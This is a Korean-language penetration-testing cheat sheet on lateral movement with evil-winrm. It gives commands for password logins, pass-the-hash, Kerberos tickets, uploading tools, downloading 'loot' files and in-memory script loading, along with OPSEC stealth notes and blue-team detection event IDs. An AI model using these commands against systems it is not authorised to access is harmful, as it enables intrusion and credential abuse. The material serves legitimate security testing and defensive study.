ATT&CK: T1021.006 Windows Remote Management · Lateral Movement (TA0008)

WinRM은 Microsoft가 밀고 있는 공식 원격 관리 프로토콜(WS-Management 기반). 많은 조직에서 PsExec 대신 WinRM을 쓰도록 밀고 있고, Server 2012+는 기본 활성인 경우도 많다. evil-winrm은 Ruby로 쓴 간결한 클라이언트.

1. 설치

gem install evil-winrm
# 또는 Kali 패키지
apt install evil-winrm

2. 기본 접속

evil-winrm -i 10.0.0.5 -u alice -p 'Password'

성공 시 바로 PowerShell 세션:

*Evil-WinRM* PS C:\Users\alice\Documents> whoami
corp\alice

3. 패스더해시

NTLM 해시만 있을 때:

evil-winrm -i 10.0.0.5 -u alice -H aad3b435b51404ee...

4. Kerberos 티켓

export KRB5CCNAME=alice.ccache
evil-winrm -i dc01.corp.local -u alice -r CORP.LOCAL

-r은 realm.

5. 내장 기능 — 파일 업/다운로드

세션 안에서:

*Evil-WinRM* PS> upload /local/path/tool.exe C:\Users\alice\tool.exe
*Evil-WinRM* PS> download C:\Windows\Temp\loot.txt /local/path/loot.txt

6. 스크립트 자동 로드

evil-winrm -i 10.0.0.5 -u alice -p 'Pw' -s /path/to/scripts/
# 세션 내에서
*Evil-WinRM* PS> Invoke-SomeScript

로컬 디렉터리의 .ps1 파일들이 메모리에 로드돼 세션에서 바로 호출 가능.

7. HTTPS (5986)

인증서 검증 생략:

evil-winrm -i 10.0.0.5 -u alice -p 'Pw' -S -c cert.pem -k key.pem
  • -S: SSL.
  • 자체서명 인증서 쓰는 환경이면 -S + --no-cert-validation.

8. 전제조건 체크

WinRM이 열려있고 사용자가 Remote Management Users 그룹에 속해있어야:

# 대상 호스트에서 (사전 체크)
Get-Service WinRM
Get-LocalGroupMember 'Remote Management Users'

# 원격에서 포트 체크
nxc smb 10.0.0.5 -u alice -p 'Pw'  # 결과에 WinRM: True 표시됨

NetExec nxc winrm 모듈이 “로그인 가능 여부"를 batch로 확인하기에 좋다.

9. 다른 Impacket exec 대비 특징

측면 WinRM/evil-winrm psexec/wmiexec
서비스 생성 X ○ (psexec)
디스크 쓰기 X (기본) ○ (ADMIN$에 임시 EXE/파일)
로그 흔적 Microsoft-Windows-WinRM/Operational 7045, WMI-Activity 등
상호작용 ○ (완전) △ (wmiexec은 반쪽)
암호화 기본으로 HTTPS/Kerberos SMB 암호화 설정 의존

OPSEC 측면에서 evil-winrm이 상대적으로 조용한 편 — WinRM 로그가 가볍고, 디스크 쓰기 X.

10. 블루팀 탐지

  • Microsoft-Windows-WinRM/Operational Event ID 91 (세션 생성).
  • Microsoft-Windows-PowerShell/Operational Event ID 4103/4104 (스크립트 블록 로깅).
  • 비정상 소스 IP → WinRM 접속. GPO로 접속 가능 호스트 제한 추천.

참고